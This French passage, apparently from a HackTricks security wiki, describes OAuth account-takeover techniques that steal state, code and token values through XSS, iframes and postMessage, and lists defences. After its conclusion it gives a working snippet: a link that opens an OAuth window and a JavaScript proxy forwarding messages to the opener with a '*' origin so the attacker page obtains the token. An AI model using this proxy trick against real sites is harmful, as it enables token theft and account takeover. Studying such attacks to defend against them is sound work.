Une autre technique pour voler des valeurs d'état et de code consiste à utiliser des attaques XSS et des iframes. Cette technique est similaire à l'utilisation de postMessage, mais elle est plus simple à mettre en œuvre.

L'attaquant peut créer une page Web malveillante contenant du code JavaScript qui extrait les valeurs d'état et de code de la page de l'utilisateur. Cette page peut être hébergée sur un serveur contrôlé par l'attaquant ou sur un service tiers.

L'attaquant peut ensuite utiliser une attaque XSS pour injecter cette page malveillante dans la page de l'utilisateur. L'attaquant peut utiliser différentes techniques pour injecter la page malveillante, telles que l'injection de code JavaScript dans les champs de saisie de la page ou l'injection de code JavaScript dans les URL.

Une fois que la page malveillante est injectée dans la page de l'utilisateur, elle peut extraire les valeurs d'état et de code de la page de l'utilisateur et les envoyer à l'attaquant. L'attaquant peut utiliser ces valeurs pour effectuer une attaque de prise de contrôle de compte.

L'utilisation d'iframes est similaire à l'utilisation de l'attaque XSS. L'attaquant peut créer une page Web malveillante contenant un iframe qui charge la page de l'utilisateur. L'iframe peut être hébergé sur un serveur contrôlé par l'attaquant ou sur un service tiers.

L'attaquant peut ensuite utiliser une attaque XSS pour injecter cet iframe dans la page de l'utilisateur. L'iframe peut extraire les valeurs d'état et de code de la page de l'utilisateur et les envoyer à l'attaquant.

Conclusion

Les attaques OAuth sont de plus en plus courantes, car de plus en plus d'applications utilisent OAuth pour l'authentification et l'autorisation. Les attaquants peuvent utiliser différentes techniques pour effectuer une attaque de prise de contrôle de compte, telles que l'utilisation de postMessage, d'iframes et d'attaques XSS.

Les développeurs doivent être conscients de ces techniques et mettre en place des mesures de sécurité pour protéger leurs applications contre ces attaques. Les mesures de sécurité peuvent inclure la validation des valeurs d'état et de code, la mise en place de restrictions de domaine pour les messages postés et l'utilisation de CSP pour limiter les sources de scripts autorisées.

<a href="#" onclick="b=window.open('https://accounts.google.com/oauth/...?', '', 'x'); location.href = 'https://example.com/postmessage-proxy'; return false;">Login to google</a>

Et le https://example.com/postmessage-proxy aurait quelque chose comme:

// Proxy all my messages to my opener:
window.onmessage=function(e) { opener.postMessage(e.data, '*'); }

Je pourrais utiliser n'importe lequel des modes de réponse web_message pour soumettre le jeton provenant du fournisseur OAuth jusqu'à l'origine valide de https://example.com, mais le point final enverrait le jeton plus loin vers opener, qui est la page de l'attaquant.

Ce flux peut sembler improbable et nécessite deux clics : un pour créer une relation d'ouverture entre l'attaquant et le site web, et le second pour lancer le flux OAuth en ayant le site légitime comme ouvreur de la fenêtre OAuth.

Le fournisseur OAuth envoie le jeton jusqu'à l'origine légitime :

Et l'origine légitime a le proxy postMessage vers son ouvreur :

Ce qui permet à l'attaquant d'obtenir le jeton :

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥